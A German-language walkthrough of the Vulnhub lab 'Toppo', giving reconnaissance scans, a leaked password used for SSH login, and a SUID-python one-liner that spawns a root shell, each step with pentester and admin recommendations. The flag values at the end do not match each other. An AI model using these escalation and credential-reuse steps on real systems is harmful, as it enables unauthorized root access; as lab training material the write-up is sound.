Toppo - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
curl
gobuster
wget
cat
ssh
find
ls
cd
ss
grep
uname
ps
python2.7
id
su

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.140	08:00:27:41:a8:54	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Hosts via ARP.

Bewertung: Ein Host mit der IP 192.168.2.140 wurde gefunden. Die MAC-Adresse (08:00:27:...) deutet auf eine VirtualBox-VM hin.

Empfehlung (Pentester): Ziel-IP 192.168.2.140 für weitere Scans verwenden.
Empfehlung (Admin): Netzwerksegmentierung kann solche Scans erschweren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
 192.168.2.140   toppo.vln

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP 192.168.2.140 den Hostnamen `toppo.vln` zuzuordnen.

Bewertung: Vereinfacht die Ansprache des Ziels über den Namen.

Empfehlung (Pentester): Nützliche Vorgehensweise.
Empfehlung (Admin): Keine direkte Auswirkung auf das Ziel.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.140 -p- | grep open
22/tcp    open  ssh     penSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
34254/tcp open  status  1 (RPC #100024)

Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.

Bewertung: Die schnelle Übersicht zeigt vier offene Ports: 22 (SSH - OpenSSH 6.7p1, etwas älter), 80 (HTTP - Apache 2.4.10, älter), 111 (rpcbind) und 34254 (status/RPC).

Empfehlung (Pentester): Die Hauptangriffsvektoren sind SSH und HTTP. RPC-Dienste sind ebenfalls zu prüfen, oft aber weniger ergiebig in CTFs. Die vollständige Nmap-Ausgabe ist für Details wichtig.
Empfehlung (Admin): Stellen Sie sicher, dass alle Dienste notwendig und sicher konfiguriert sind. Aktualisieren Sie SSH und Apache.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.140 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-08 15:13 CEST
Nmap scan report for toppo.vln (192.168.2.140)
Host is up (0.00012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 ec61979f4dcb759959d4c1c4d43ed9dc (DSA)
|   2048 8999c4549a1866f7cd8eabb6aa312ec6 (RSA)
|   256 60bedd8f1ad7a3f3fe21cc2f11307b0d (ECDSA)
|_  256 39d97926603d6ca21e8b1971c0e25e5f (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Clean Blog - Start Bootstrap Theme
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34254/tcp   status
|   100024  1          39828/udp   status
|   100024  1          50340/tcp6  status
|_  100024  1          52557/udp6  status
34254/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:41:A8:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms toppo.vln (192.168.2.140)

Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.

Bewertung: * **SSH (Port 22):** OpenSSH 6.7p1 ist veraltet und könnte für bekannte Schwachstellen anfällig sein. * **HTTP (Port 80):** Apache 2.4.10 (Debian) ist ebenfalls veraltet. Der Titel "Clean Blog - Start Bootstrap Theme" deutet auf eine spezifische Webanwendung oder ein Template hin. * **RPC (Port 111, 34254):** `rpcbind` und `status` (nfs-statd) laufen. Diese Dienste können manchmal für Enumeration oder spezifische Exploits (z.B. NFS-bezogen) genutzt werden, sind aber oft weniger relevant als Web/SSH. * **OS Detection:** Linux 3.2 - 4.9.

Empfehlung (Pentester): Untersuchen Sie die Webanwendung auf Port 80 gründlich (Nikto, Gobuster, manuelle Analyse). Prüfen Sie SSH auf schwache Passwörter oder bekannte Exploits für Version 6.7p1. Überprüfen Sie RPC-Dienste auf mögliche Informationslecks (z.B. mit `rpcinfo -p 192.168.2.140`) oder bekannte Schwachstellen.
Empfehlung (Admin): Aktualisieren Sie dringend OpenSSH und Apache. Deaktivieren Sie RPC-Dienste, wenn sie nicht benötigt werden.

┌──(root㉿cycat)-[~] └─# curl http://toppo.vln:34254 -Iv
*   Trying 192.168.2.140:34254...
* Connected to toppo.vln (192.168.2.140) port 34254 (#0)
> HEAD / HTTP/1.1
> Host: toppo.vln:34254
> User-Agent: curl/7.88.1
> Accept: */*
>
* Empty reply from server
* Closing connection 0
curl: (52) Empty reply from server

Analyse: `curl` wird verwendet, um eine HEAD-Anfrage (`-I`) mit ausführlicher Ausgabe (`-v`) an den Dienst auf Port 34254 zu senden.

Bewertung: Der Server antwortet nicht auf die HTTP-HEAD-Anfrage ("Empty reply from server"). Dies bestätigt, dass der Dienst auf Port 34254 wahrscheinlich kein Standard-HTTP-Dienst ist und über HTTP nicht direkt interagiert werden kann. Es handelt sich um den RPC-Statusdienst.

Empfehlung (Pentester): Depriorisieren Sie Port 34254 für Web-basierte Angriffe. Fokus auf Port 80.
Empfehlung (Admin): Beschränken Sie den Zugriff auf RPC-Ports, wenn möglich.

Web Enumeration

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.140
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.140
+ Target Hostname:    192.168.2.140
+ Target Port:        80
+ Start Time:         2023-09-08 15:13:12 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.10 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...].
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD . # Korrektur: PST/PTINS im Log scheinen Tippfehler
+ /admin/: Directory indexing found.
+ /admin/: This might be interesting.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /mail/: Directory indexing found.
+ /mail/: This might be interesting.
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ /package.json: Node.js package file found. It may contain sensitive information.
+ /README.md: Readme Found.
+ 8102 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2023-09-08 15:13:36 (GMT2) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: `nikto -h 192.168.2.140` scannt den Apache-Server auf Port 80.

Bewertung: * **Veralteter Apache (2.4.10).** * **Fehlende Security Header.** * **Directory Indexing:** Mehrere Verzeichnisse (`/admin/`, `/css/`, `/img/`, `/mail/`, `/manual/images/`) sind listbar. Dies kann zur Entdeckung weiterer Dateien führen. `/admin/` und `/mail/` sind besonders interessant. * **Webserver-Manual (`/manual/`) gefunden.** * **Potenzielle Info-Leaks:** `/package.json` (Node.js) und `/README.md` gefunden.

Empfehlung (Pentester): Untersuchen Sie die listbaren Verzeichnisse manuell im Browser, insbesondere `/admin/` und `/mail/`. Prüfen Sie den Inhalt von `package.json` und `README.md` auf sensible Informationen.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing. Entfernen Sie nicht benötigte Dateien wie `package.json`, `README.md` und das Apache Manual vom Webserver. Aktualisieren Sie Apache.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://toppo.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://toppo.vln/index.html           (Status: 200) [Size: 6437]
http://toppo.vln/contact.html         (Status: 200) [Size: 7016]
http://toppo.vln/about.html           (Status: 200) [Size: 5030]
http://toppo.vln/img                  (Status: 301) [Size: 304] [--> http://toppo.vln/img/]
http://toppo.vln/mail                 (Status: 301) [Size: 305] [--> http://toppo.vln/mail/]
http://toppo.vln/admin                (Status: 301) [Size: 306] [--> http://toppo.vln/admin/]
http://toppo.vln/post.html            (Status: 200) [Size: 8262]
http://toppo.vln/css                  (Status: 301) [Size: 304] [--> http://toppo.vln/css/]
http://toppo.vln/manual               (Status: 301) [Size: 307] [--> http://toppo.vln/manual/]
http://toppo.vln/js                   (Status: 301) [Size: 303] [--> http://toppo.vln/js/]
http://toppo.vln/vendor               (Status: 301) [Size: 307] [--> http://toppo.vln/vendor/]
http://toppo.vln/LICENSE              (Status: 200) [Size: 1093]

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf `http://toppo.vln` zu bruteforcen.

Bewertung: Bestätigt viele der von Nikto gefundenen Verzeichnisse (`img`, `mail`, `admin`, `css`, `manual`, `js`, `vendor`). Findet zusätzlich mehrere HTML-Seiten (`index.html`, `contact.html`, `about.html`, `post.html`) und eine `LICENSE`-Datei. Die `contact.html` ist besonders interessant aufgrund des Bootstrap-Kommentars.

Empfehlung (Pentester): Untersuchen Sie den Quellcode von `contact.html` auf Hinweise (wie im Log angedeutet). Prüfen Sie die anderen HTML-Seiten auf interessante Inhalte oder Funktionalitäten.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen in Kommentaren oder öffentlich zugänglichen Dateien enthalten sind.

Untersuchung des Quellcodes von `contact.html` (wie im Log angedeutet).

# view-source:http://toppo.vln/contact.html (Auszug)
 
 
 

Analyse: Der Quellcode der `contact.html`-Seite wird betrachtet. HTML-Kommentare werden analysiert.

Bewertung: Kritischer Hinweis! Ein Kommentar erwähnt explizit die Datei `mail/contact_me.php` und dass dort eine E-Mail-Adresse eingetragen werden muss. Dies legt nahe, dass diese PHP-Datei existiert und möglicherweise interessante Informationen enthält oder selbst angreifbar ist.

Empfehlung (Pentester): Laden Sie die Datei `mail/contact_me.php` herunter und analysieren Sie ihren Inhalt. Suchen Sie nach Kommentaren, Konfigurationen oder Schwachstellen.
Empfehlung (Admin): Entfernen Sie Entwicklerkommentare oder sensible Hinweise aus dem Quellcode von Webseiten.

Initial Access

┌──(root㉿cycat)-[~] └─# wget http://toppo.vln/mail/contact_me.php
--2023-09-08 15:21:20--  http://toppo.vln/mail/contact_me.php
Auflösen des Hostnamens toppo.vln (toppo.vln)… 192.168.2.140
Verbindungsaufbau zu toppo.vln (toppo.vln)|192.168.2.140|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 22 [text/html]
Wird in contact_me.php gespeichert.

contact_me.php          100%[======================================>]      22  --.-KB/s    in 0s

2023-09-08 15:21:20 (7,37 MB/s) - contact_me.php gespeichert [22/22]

Analyse: Die im Quellcode von `contact.html` erwähnte Datei `mail/contact_me.php` wird mit `wget` heruntergeladen.

Bewertung: Der Download ist erfolgreich. Die Datei ist sehr klein (22 Bytes), was auf wenig Code oder eher auf Kommentare/Notizen hindeutet.

Empfehlung (Pentester): Analysieren Sie den Inhalt der heruntergeladenen `contact_me.php`-Datei.
Empfehlung (Admin): Stellen Sie sicher, dass serverseitige Skripte nicht unnötig sensible Informationen enthalten.

┌──(root㉿cycat)-[~] └─# cat contact_me.php
No arguments Provided!

Note to myself :

I need to change my password :/ 12345ted123 is too outdated
but the technology isn't my thing i prefer go fishing or
watching soccer .

 http://toppo.vln/admin/notes.txt

Analyse: Der Inhalt der heruntergeladenen Datei `contact_me.php` wird angezeigt.

Bewertung: Kritische Zugangsdaten gefunden! Die Datei enthält eine Notiz, die ein Passwort preisgibt: `12345ted123`. Die Notiz impliziert, dass dies das (alte) Passwort eines Benutzers ist, möglicherweise namens `ted` (basierend auf dem Passwort selbst). Zusätzlich wird auf eine weitere Datei `/admin/notes.txt` hingewiesen.

Empfehlung (Pentester): Versuchen Sie, sich mit dem Benutzernamen `ted` und dem Passwort `12345ted123` per SSH (Port 22) anzumelden. Untersuchen Sie auch `/admin/notes.txt` über den Webbrowser oder `wget`/`curl`.
Empfehlung (Admin): Speichern Sie niemals Passwörter oder sensible Notizen in Skriptdateien oder öffentlich zugänglichen Bereichen. Schulen Sie Entwickler und Administratoren bezüglich sicherer Praktiken.

┌──(root㉿cycat)-[~] └─# ssh ted@toppo.vln
The authenticity of host 'toppo.vln (192.168.2.140)' can't be established.
ED25519 key fingerprint is SHA256:vJgmhqKmHq0Mb0plSTydzw6GenPEkZkch+PIVozzw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'toppo.vln' (ED25519) to the list of known hosts.
ted@toppo.vln's password: # (Eingabe: 12345ted123)

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 15 12:33:00 2018 from 192.168.0.29
ted@Toppo$

Analyse: Es wird versucht, sich per SSH als Benutzer `ted` mit dem in `contact_me.php` gefundenen Passwort `12345ted123` anzumelden.

Bewertung: Erfolg! Der SSH-Login ist erfolgreich. Der Pentester hat nun Shell-Zugriff auf das System als Benutzer `ted`. Initial Access wurde erreicht.

Empfehlung (Pentester): Beginnen Sie mit der Post-Exploitation-Enumeration als Benutzer `ted`. Prüfen Sie `sudo -l`, suchen Sie nach SUID-Dateien, Kernel-Version, Konfigurationsdateien etc.
Empfehlung (Admin): Verbieten Sie schwache Passwörter. Implementieren Sie Schutzmechanismen gegen Brute-Force (Fail2Ban). Verwenden Sie nach Möglichkeit SSH-Schlüssel.

Privilege Escalation

Nach dem Login als `ted` beginnt die Suche nach Eskalationsmöglichkeiten.

ted@Toppo$ find / -type f -perm -4000 -ls 2>/dev/null
  3795   96 -rwsr-xr-x   1 root     root        96760 Aug 13  2014 /sbin/mount.nfs
144123 1060 -rwsr-xr-x   1 root     root      1085300 Feb 10  2018 /usr/sbin/exim4
138907   12 -rwsr-xr-x   1 root     root         9468 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
144166  356 -rwsr-xr--   1 root     messagebus   362672 Nov 21  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
144700  552 -rwsr-xr-x   1 root     root       562536 Nov 19  2017 /usr/lib/openssh/ssh-keysign
130158   80 -rwsr-xr-x   1 root     root        78072 May 17  2017 /usr/bin/gpasswd
134258   40 -rwsr-xr-x   1 root     root        38740 May 17  2017 /usr/bin/newgrp
141007 3800 -rwsrwxrwx   1 root     root      3889608 Aug 13  2016 /usr/bin/python2.7 # !!!
130156   44 -rwsr-xr-x   1 root     root        43576 May 17  2017 /usr/bin/chsh
143948   52 -rwsr-sr-x   1 daemon   daemon      50644 Sep 30  2014 /usr/bin/at
134156  108 -rwsr-xr-x   1 root     root       106908 Mar 23  2012 /usr/bin/mawk
130155   52 -rwsr-xr-x   1 root     root        52344 May 17  2017 /usr/bin/chfn
144729   96 -rwsr-sr-x   1 root     mail        96192 Nov 18  2017 /usr/bin/procmail
130159   52 -rwsr-xr-x   1 root     root        53112 May 17  2017 /usr/bin/passwd
   696   40 -rwsr-xr-x   1 root     root        38868 May 17  2017 /bin/su
  1698   28 -rwsr-xr-x   1 root     root        26344 Mar 29  2015 /bin/umount
  1697   36 -rwsr-xr-x   1 root     root        34684 Mar 29  2015 /bin/mount

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit gesetztem SUID-Bit.

Bewertung: Kritischer Fund! Neben vielen Standard-SUID-Dateien sticht `/usr/bin/python2.7` hervor. Es hat das SUID-Bit gesetzt (`-rws...`) und ist für alle beschreib- und ausführbar (`...rwxrwx`). Dies ist eine gravierende Fehlkonfiguration und ein direkter Weg zur Privilegieneskalation, da jeder Benutzer Python-Code mit Root-Rechten ausführen kann.

Empfehlung (Pentester): Nutzen Sie diesen Vektor sofort aus. Führen Sie einen Python-Befehl aus, der eine Root-Shell startet, z.B. `/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'` oder `/usr/bin/python2.7 -c 'import os; os.system("/bin/bash -p")'`.
Empfehlung (Admin): Entfernen Sie *sofort* das SUID-Bit von `/usr/bin/python2.7` (`chmod u-s /usr/bin/python2.7`). Überprüfen Sie alle Dateiberechtigungen, insbesondere für Interpreter und Binaries in Systempfaden. SUID auf Interpretern ist fast immer gefährlich.

ted@Toppo:/var/www/html$ ss -altpn
State      Recv-Q Send-Q               Local Address:Port                 Peer Address:Port
LISTEN     0      20                       127.0.0.1:25                              *:*
LISTEN     0      128                              *:34254                           *:*
LISTEN     0      128                              *:111                             *:*
LISTEN     0      128                              *:22                              *:*
LISTEN     0      20                             ::1:25                             :::*
LISTEN     0      128                             :::50340                          :::*
LISTEN     0      128                             :::111                            :::*
LISTEN     0      128                             :::80                             :::*
LISTEN     0      128                             :::22                             :::*

Analyse: `ss -altpn` listet die lauschenden TCP-Netzwerk-Sockets auf.

Bewertung: Bestätigt die bereits bekannten offenen Ports 22, 80, 111, 34254 und zeigt zusätzlich einen SMTP-Dienst auf Port 25, der nur auf localhost lauscht (127.0.0.1 und ::1). Dies ist für die Eskalation weniger relevant.

Empfehlung (Pentester): Bestätigt die Netzwerkdienste. Fokus bleibt auf der SUID-Python-Schwachstelle.
Empfehlung (Admin): Deaktivieren Sie unnötige Netzwerkdienste.

ted@Toppo:/var/www/html$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
ted:x:1000:1000:Ted,,,:/home/ted:/bin/bash

Analyse: Sucht nach Benutzern mit `/bin/bash` als Login-Shell in `/etc/passwd`.

Bewertung: Zeigt die Benutzer `root` und `ted`.

Empfehlung (Pentester): Bestätigt die relevanten Benutzer.
Empfehlung (Admin): Standardkonfiguration.

ted@Toppo:/var/www/html$ uname -a
Linux Toppo 3.16.0-4-586 #1 Debian 3.16.51-3 (2017-12-13) i686 GNU/Linux

Analyse: Zeigt detaillierte Kernel- und Systeminformationen.

Bewertung: Zeigt einen älteren 32-Bit Debian Kernel (3.16.0-4, i686) von Ende 2017. Dieser Kernel ist potenziell anfällig für diverse Exploits (z.B. Dirty COW, falls die genaue Patch-Version anfällig ist), aber der SUID-Python-Exploit ist deutlich einfacher und zuverlässiger.

Empfehlung (Pentester): Nutzen Sie den SUID-Python-Vektor. Kernel-Exploits sind Plan B.
Empfehlung (Admin): Aktualisieren Sie das Betriebssystem und den Kernel.

ted@Toppo:/var/www/html/mail$ ps aux | grep root
root         1  0.0  0.1   5248  3904 ?        Ss   06:52   0:00 /sbin/init
root         2  0.0  0.0      0     0 ?        S    06:52   0:00 [kthreadd]
[...]
root       498  0.0  0.0   4176  2068 tty1     Ss+  06:52   0:00 /sbin/agetty --noclear tty1 linux
root       719  0.0  0.9  94272 20700 ?        Ss   06:52   0:00 /usr/sbin/apache2 -k start
root      1381  0.0  0.2  11120  5672 ?        Ss   08:26   0:00 sshd: ted [priv]
[...]
ted       1469  0.0  0.1   4560  2160 pts/0    S+   08:36   0:00 grep root

Analyse: `ps aux | grep root` listet alle laufenden Prozesse auf und filtert nach denen, die dem Benutzer `root` gehören.

Bewertung: Zeigt Standard-Systemprozesse, die als `root` laufen (init, Kernel-Threads, systemd-Dienste, Apache Master-Prozess, SSHD Master-Prozess, cron etc.). Es sind keine ungewöhnlichen oder benutzerdefinierten Root-Prozesse sichtbar, die direkt ausnutzbar erscheinen.

Empfehlung (Pentester): Bestätigt Standardprozesse. Fokus bleibt auf SUID Python.
Empfehlung (Admin): Überwachen Sie laufende Prozesse auf Anomalien.

Proof of Concept (SUID Python)

Die gravierende Fehlkonfiguration des SUID-Bits auf `/usr/bin/python2.7` wird nun ausgenutzt, um Root-Rechte zu erlangen.

ted@Toppo:/var/www/html/mail$ /usr/bin/python2.7 -c 'import os; os.system("/bin/bash -p")'
bash-4.3# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)

Analyse: Der Befehl `/usr/bin/python2.7 -c 'import os; os.system("/bin/bash -p")'` wird ausgeführt. * `/usr/bin/python2.7`: Ruft den Python-Interpreter auf, der SUID-Root-Rechte hat. * `-c '...'`: Führt den Python-Code direkt aus. * `import os; os.system("/bin/bash -p")`: Importiert das `os`-Modul und verwendet `os.system`, um einen Bash-Prozess zu starten. Die Option `-p` für Bash versucht, die effektive Benutzer-ID (EUID) beizubehalten.

Bewertung: Erfolg! Der Befehl startet eine neue Bash-Shell. Der `id`-Befehl in dieser neuen Shell zeigt `euid=0(root)`. Das bedeutet, der Prozess läuft mit effektiven Root-Rechten, auch wenn die reale Benutzer-ID (`uid=1000`) noch `ted` ist. Die Privilegieneskalation war erfolgreich.

Empfehlung (Pentester): Sie haben nun Root-Rechte. Suchen Sie die Root-Flag, die sich normalerweise in `/root` befindet.
Empfehlung (Admin): Entfernen Sie *dringend* das SUID-Bit von Python und anderen Interpretern. Diese Konfiguration ist extrem unsicher.

Anmerkung: Der folgende `su root`-Versuch im Log ist nach Erlangung der effektiven Root-Rechte überflüssig und scheitert erwartungsgemäß, da das Root-Passwort nicht bekannt ist.

bash-4.3# su root
Password:
su: Authentication failure

Analyse: Es wird versucht, mit `su root` zum Root-Benutzer zu wechseln.

Bewertung: Dies schlägt fehl, da das Root-Passwort nicht bekannt ist. Es ist auch nicht notwendig, da die aktuelle Shell bereits effektive Root-Rechte (`euid=0`) hat.

Empfehlung (Pentester): Fahren Sie direkt mit Root-Befehlen fort, ein `su` ist nicht erforderlich.
Empfehlung (Admin): Starke Root-Passwörter sind wichtig, aber die Verhinderung der ursprünglichen Eskalation hat Priorität.

bash-4.3# cd /root/
bash-4.3# ls
flag.txt
bash-4.3# cat flag.txt
_________
|  _   _  |
|_/ | | \_|.--.   _ .--.   _ .--.    .--.
    | |  / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \
   _| |_ | \__. | | \__/ | | \__/ || \__. |
  |_____| '.__.'  | ;.__/  | ;.__/  '.__.'
                 [__|     [__|


Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}

Analyse: In der Shell mit effektiven Root-Rechten wird in das `/root`-Verzeichnis gewechselt und die Datei `flag.txt` ausgelesen.

Bewertung: Die Root-Flag wird erfolgreich angezeigt: `0wnedlab{p4ssi0n_c0me_with_pract1ce}`.

Empfehlung (Pentester): Ziel erreicht. Dokumentieren Sie den Fund und den Eskalationsweg.
Empfehlung (Admin): Sichern Sie das System, indem Sie die SUID-Fehlkonfiguration beheben.

Flags

Anmerkung: Die folgenden Flags wurden am Ende des Original-Logs bereitgestellt. Die Root-Flag wurde im Log gefunden, der Fund der User-Flag wurde nicht explizit gezeigt.

cat /home/ted/user.txt # (Pfad angenommen)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/flag.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A
(Text aus ASCII-Art: 0wnedlab{p4ssi0n_c0me_with_pract1ce})